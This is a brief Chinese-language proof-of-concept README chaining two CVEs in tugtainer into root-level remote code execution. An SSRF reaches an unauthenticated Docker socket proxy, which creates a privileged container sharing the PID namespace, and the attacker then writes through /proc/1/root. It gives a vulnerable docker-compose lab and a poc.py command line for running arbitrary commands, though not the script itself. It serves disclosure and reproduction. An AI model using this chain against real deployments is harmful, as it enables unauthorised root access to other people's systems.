结合 CVE-2026-55494 和 CVE-2026-62308 以在 tugtainer 中获取 root 权限 RCE
该RCE通过滥用两个漏洞实现:
简而言之,利用SSRF漏洞调用内部网络中一个未认证的服务,创建一个与tugtainer共享相同PID的docker,从而通过/proc/1/root访问tugtainer docker的文件系统,并且由于创建的docker具有root级别权限,技术上你就在tugtainer docker系统中拥有root权限。
docker-compose.yml运行docker compose,或者复制粘贴以下内容:networks:
tugtainer:
driver: bridge
services:
socket-proxy:
image: lscr.io/linuxserver/socket-proxy:latest
container_name: socket-proxy
environment:
CONTAINERS: 1
EVENTS: 1
IMAGES: 1
INFO: 1
LOG_LEVEL: warning
PING: 1
NETWORKS: 1
POST: 1
TZ: Europe/Moscow
VERSION: 1
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
restart: unless-stopped
read_only: true
tmpfs:
- /run
networks:
- tugtainer
labels:
dev.quenary.tugtainer.protected: True
app:
depends_on:
- socket-proxy
container_name: tugtainer
image: ghcr.io/quenary/tugtainer:1.30.2
tmpfs:
- /tugtainer:size=100m
restart: unless-stopped
environment:
DOCKER_HOST: tcp://socket-proxy:2375
networks:
- tugtainer
ports:
- '9412:80'
labels:
dev.quenary.tugtainer.protected: True
poc.py:$ python poc.py <URL> <PASSWORD> <COMMAND>
$ python poc.py http://localhost:9412 Admin123! "whoami > /proc/1/root/tmp/pwned"
/tmp目录下创建一个名为pwned的文件。